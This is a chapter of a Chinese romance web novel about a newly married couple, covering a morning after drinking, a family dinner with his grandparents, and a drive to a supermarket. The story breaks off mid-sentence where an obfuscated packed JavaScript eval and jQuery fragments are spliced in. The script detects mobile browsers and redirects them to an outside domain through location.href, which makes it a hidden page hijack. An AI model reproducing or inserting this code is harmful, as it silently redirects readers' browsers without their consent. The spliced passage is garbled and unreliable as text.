18. C18.没断片

作品:《他的漫漫长夜[先婚后爱]

    林幼辛醒来后望着天花板看了很久,才意识到自己是在床上。


    宿醉后的大脑有几分呆滞,但也知道不是她自己走回来的。


    伸手揉了揉发胀的脑袋,掀被下床,一推开门撞上从客卧洗完澡出来的周禀山。


    他穿一件黑色短袖T恤,灰色长裤,头发微湿,正拿一块毛巾快速的擦着,整个人散发着一股湿漉漉的薄荷海盐的味道。


    “早。”他轻飘飘看过来一眼。


    “......早,你买早餐回来了?”


    林幼辛稍微有点尴尬。


    这好像是他俩同居以来第一次清晨会面。


    “今天还没,我起晚了,正要去。”


    周禀山去岛台拿水杯手一顿,目光平静的看向她:“没想到你起这么早。”


    “哦,我口渴了,出来喝杯水。一会儿还要睡,早餐就不吃了。”


    “好,那这杯你先喝吧。”


    “谢谢。”


    他们之间还有一段距离,林幼辛穿的睡衣是石榴红的吊带式的,微露背不带胸垫,她犹豫两秒,还是主动往前走五六步,接过。


    “昨晚睡的好吗?”他忽然开口。


    林幼辛转身的动作一顿,神色如常,“...还行。”


    “心情呢,有没有好一点。”


    “也还...好多了。”话到嘴边又改了说法。


    她家里的餐具基本都是成对的,周禀山重新拿了一只一模一样的水杯,接好水,视线在她侧脸梭巡。


    看起来确实好很多了,但当他试图寻找一些她没有酒后断片的痕迹,却还是失败了。


    她表情管理一直很可以。


    七八点的晨光遛进客厅的鱼骨纹木地板上,也爬上女人光滑的脊背,一片盈着光的白皙就这样闯进余光里。


    周禀山喉结微滚,眉眼稍敛:“今天要去爷爷家吃饭,你要再睡一会儿吗?”


    两个人都有点尴尬,一个撑着桌子沉思,一个背对他,一副要走又不好走的样子。


    听到这句话林幼辛如蒙大赦,“嗯”一声,便以最快的速度回到房间。


    门一关,她一头扎在床上,发丝凌乱铺洒。


    过了许久,她才在错乱的呼吸与脸颊后颈的发烫中,伸手摸了摸自己的嘴唇。


    去周载年那边吃饭,是前几天就定好的。


    理论上应该结婚登记当天就去,但那天她要去工作室,之后的一周周禀山说他要加班,两家长辈就没催过,而今天周末,再不过去似乎有点说不过去。


    周载年和他夫人住的是一座外观修葺低调的院子,推开门才知道是三进三出的格局,据说是照搬他们在京北的四合院规划设计的。


    林幼辛在车停在那朱漆大红门前时,才意识到了一个严重的问题。


    “我们要不要买点东西,空手会不会不太好?”


    周禀山正倒车入库,目不斜视的看着左面的后视镜:“我准备好了,不用担心。”


    “啊?”


    周禀山示意她下车,自己打开后备箱。


    里面整齐排列着好几个包装精美的礼品袋,她粗略一扫,标准的看望长辈三件套:茶叶、燕窝、人参。


    且一式两份。


    “周大哥你做事真周到。”她心虚又讨好的夸奖,讪讪笑说:“我就没想到。”


    周禀山知道她过去一周都在伤心emo,早就把这事抛到脑后了,哪还想得起礼物。


    他淡淡扬唇,将东西提出来,递给她:“所以你出点力,帮忙提一份?”


    “没问题!”


    东西不重,每支包装袋也不大,她一只手就能拎。而周禀山提了另一份,随后将后备箱合上。


    “走吧。”他绕到她身前,无比自然的牵住她空出来的那只手。


    他的手掌很大,也很热,掌心粗糙带茧区别于上次在平昭寺他帮自己捂手。


    这好像是他们第一次牵手。


    林幼辛心跳乱了一下,低头去看两人相握的手,小声疑惑:“...你让我拿东西是为了牵手?”


    “是。”周禀山没有犹豫的回答,“怎么了。”


    有什么问题吗?他好像在问。


    林幼辛与他对视两眼,忽然就有点遭不住他的眼神,绷着脸移开:“没有。”


    周禀山笑一声,握的更紧。


    “大嫂!”


    刚绕过一进门的照壁,林幼辛听见有人喊了她一声。


    一打眼,是一位身穿柔粉色长裙的女人,瓜子脸,杏仁眼,看眉眼和周禀山有一点点相似,她旁边还站着一位青年,他俩的模样倒是像。


    “肃含、静水。”


    周禀山低下一点头,在她耳边提醒。


    “这是你弟弟妹妹?”


    “嗯,同父异母,他俩是龙凤胎。”


    林幼辛恍然。


    怪不得,他俩相似度很高,和周禀山则一般。


    “大哥。”


    周肃含率先走过来,西装革履,一身黑,微冷的面皮下神色殷切,看起来很是想念他大哥。


    他没有主动和林幼辛说话,只是微微颔首以作示意。


    倒是周静水则笑盈盈的跑过来,一把挽住她的胳膊,“大嫂你好,我是静水,家里的老三。我和二哥前几天才知道你和大哥结婚登记了,匆忙带着奶奶过来,还好赶得及和你们一起吃饭,恭喜啦。”


    周静水噼里啪啦一通介绍,林幼辛笑笑,“谢谢,辛苦你们跑一趟了。”


    今天见长辈,林幼辛化的是清水妆,但周静水还是看到她眼角细碎的浅绿色小亮片和上挑的眼线,像平淡无趣里跳跃的音符,很灵动。


    “大嫂,你这妆好漂亮啊,怎么化的?”


    妆容是女孩子社交最常用的切入点,林幼辛见周静水主动挽她,便顺势将手从周禀山掌心抽出来,换了只手提礼盒。


    周禀山掌心一空,淡淡睨了眼周静水,眼神微冷。


    今天这场家宴林幼辛正式见到周禀山的奶奶,冯毓琼女士。


    老太太一头银发,先招手叫静水过去,而后才看向林幼辛,笑容清淡中带些疏离:“这就是老大媳妇吧,第一次见面,你好。”


    林幼辛情绪平缓下去,眼中笑意未减:“您好。”


    冯毓琼点点头不再说什么,只叫她在沙发上坐着。


    林介平在和周载年聊天,周禀山正和他弟弟说事,她便什么都不说了,安静等开饭。


    “禀山,你这个工作是不是太忙了?怎么连加一周的班?”席上周载年先板着脸表了个态,将话题起的高高的,“都结婚的人了,要注意和妻子的相处啊。”


    林幼辛听着尴尬,心想自己和周禀山起码要各打五十大板才对。


    坐在一侧的冯毓琼淡淡的拍了下老伴的手,轻声怪他:“都说了小夫妻的事情少管,老了老了还不长记性。”


    周载年似乎想到什么往事,脸色一僵:“我也就是提醒,以后不说了。”


    这时主位一侧的林介平也开口提点自家孩子:


    “幼辛啊,禀山忙你就去医院看看他。你一个不务正业的自由职业总比医生轻松吧。”


    林


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473625|169671||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幼辛忍不住蹙眉提气,自由职业怎么就轻松了?


    她瘪了下嘴,正要说话,桌下的手忽然被人握住。


    “爷爷,幼辛的工作也忙。”周禀山用另一只手抽了张餐巾纸,擦擦嘴,“她每天排练很辛苦,我的时间我自己调节,之后会平衡好的,不用她来迁就我。”


    这话里回护意味太明显,冯毓琼和周肃含同时看他一眼,那眼中多少有点被震惊到了。


    周静水更是愕然到直接发问:“大哥,你开窍了?”


    周禀山冷眼甩过去:“食不言。”


    周静水:......


    后来直到大家重新拿起筷子,有说有笑的开启新的话题,林幼辛的左手才被放开。


    周禀山握了很久,天知道她的掌心在刚才已经因心跳加速而起了一层潮湿的汗,手背仍有灼热余温。


    /


    吃过饭,两人坐在车里都有点没话说。


    “有时间吗?”他忽然开口,“去趟超市。”


    林幼辛一愣:“你有需要买的吗?”


    周禀山看过来,一本正经:“我还在穿一次性客用拖鞋。”


    莫名的,觉的他说这话有点好笑。


    林幼辛忍笑:“抱歉,是我没想到,现在去?”


    “嗯。”


    车开出一截,两人还是不怎么说话,脱离了大家族,车里的两个人都有点各怀鬼胎,一阵接一阵的沉默。


    林幼辛甚至有点坐立难安,她怕周禀山问她。


    十分钟后,周禀山示意她手机连接车内蓝牙:“路程有点远,连着听歌吧。”


    “你有想听的吗?”


    “没有,但总比听‘沉默’强。”


    林幼辛:“.......”


    她忍了忍,最后没忍住瞪他一眼,理不直气也壮的:“那你说啊,工作忙,话也不多,真讨厌。”


    微冲的语气,很林幼辛,终于不是那副蔫蔫的样子了。


    周禀山暂时不言,却在开车间隙分她一个似笑非笑眼神:“我可以说,我怕你不想听。”


    “我有什么不想......”


    话说了一半,心里瞬间警铃大作。


    “咳咳咳咳咳。”她立刻反应极快的捂着胸口猛烈咳嗽,“...我被...咳咳咳咳,口水呛到了!”


    周禀山再傻也能看出她是演的了。


    靠边停车,他慢条斯理的伸出手,拍背,“慢点,不着急,慢慢说。”


    只是在他手落在后颈接连背部的位置时,她忽然浑身剧烈的一抖。


    一股痒意从两块蝴蝶骨之间猛然窜起。


    她以极快的速度往车窗方向一靠,甚至来不及装咳,而是整个身体缩起,涨红了脸:“你别碰哪里!”


    周禀山手悬在半空,微怔,静静观察着她的表情。


    不像厌恶,好像是单纯的炸毛,还有点羞愤。


    “不舒服?”他轻声问。


    林幼辛有点烦的反手去他拍过的地方用力抓了一下,绷着脸:“没有。”


    周禀山更疑惑了,“你...”


    “没事,你还去不去超市啦!”


    小猫持续抓狂。


    周禀山深吸一口气:“...去,我这就走,别生气。”


    重新启动车子,林幼辛不说话,他也再不能专心,开始思考她这种症状可能出现的隐疾。


    直到车辆缓缓驶入超市车库,他排除了各大颈部神经反射问题后,脑子里忽然敏锐的蹦出一个英文医学名词:


    ErogenousZones。